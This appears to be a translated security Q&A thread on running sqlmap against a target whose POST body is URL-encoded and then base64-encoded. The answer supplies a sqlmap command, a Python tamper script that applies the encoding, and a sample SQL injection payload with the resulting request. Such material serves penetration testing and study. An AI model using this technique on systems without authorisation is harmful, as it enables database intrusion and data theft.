ejecutar sqlmap con solicitud de publicación http con datos de codificación

1

Tengo un objetivo que la solicitud de publicación http de ese código codifica de la siguiente manera:

la solicitud de datos publica la primera url codificada y luego la codificación base64.

mensaje de solicitud de ejemplo de destino mencionado de la siguiente manera:

POST /test/test-page.php HTTP/1.1
Host: target.com
bmFtZTElM0R2YWx1ZTElMjZuYW1lMiUzRHZhbHVlMg==

para la decodificación de la solicitud de datos, primero debe decodificar en base64 y luego decodificar url. Actualmente después de decodificar algo como lo siguiente:

POST /test/test-page.php HTTP/1.1
Host: target.com
name1=value1&name2=value2

Ahora mi pregunta es: cómo ejecutar sqlmap en este destino mientras se inyectan consultas en los valores de los parámetros de la publicación de solicitud de datos y luego codificar los Similares como se mencionó y luego enviarlos al servidor de destino

    
pregunta alrz 07.01.2017 - 11:22
fuente

1 respuesta

2

Sqlmap admite varias formas de procesar parámetros con código personalizado. Puede usar --eval para codificar en base64 un solo parámetro, de este modo:

--eval "import base64; paramname = base64.b64encode(paramname)"

También, puedes usar el parámetro --tamper para cargar un script de Python personalizado que modifica la carga útil.

Lamentablemente, no es fácil manipular la cadena de consulta POST completa . Pero aquí hay una sugerencia para una solución:

Especifique una cadena de datos vacía en su comando sqlmap (use el asterisco ( * ) para indicar el punto de inyección) y declare un script --tamper :

$ ./sqlmap.py -u "http://example.com/" --data "*" --method POST --tamper mytamper

El script de manipulación podría tener este aspecto:

import base64
import urllib

def tamper(payload, **kwargs):
    params = 'name1=value1%s&name2=value2' % payload

    data = urllib.quote_plus(params)
    data = base64.b64encode(data)

    return data

Este script inserta la carga útil en su consulta y realiza la codificación de URL y las conversiones de base64. Actualmente prueba para el parámetro name1 . Tendría que cambiar el punto de inyección manualmente si desea verificar el otro.

Para la carga útil de muestra ) AND 3825=3825 AND (7759=7759 , terminaría con una solicitud como esta:

POST / HTTP/1.1
Host: example.com
User-agent: sqlmap/1.0-dev-6fef294 (http://sqlmap.org)
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
[...]
Content-type: application/x-www-form-urlencoded; charset=utf-8
Content-length: 92
Connection: close

bmFtZTElM0R2YWx1ZTElMjkrQU5EKzM4MjUlM0QzODI1K0FORCslMjg3NzU5JTNENzc1OSUyNm5hbWUyJTNEdmFsdWUy

Como puede ver, el cuerpo de la POST está codificado en URL y en base64.

    
respondido por el Arminius 07.01.2017 - 17:46
fuente

Lea otras preguntas en las etiquetas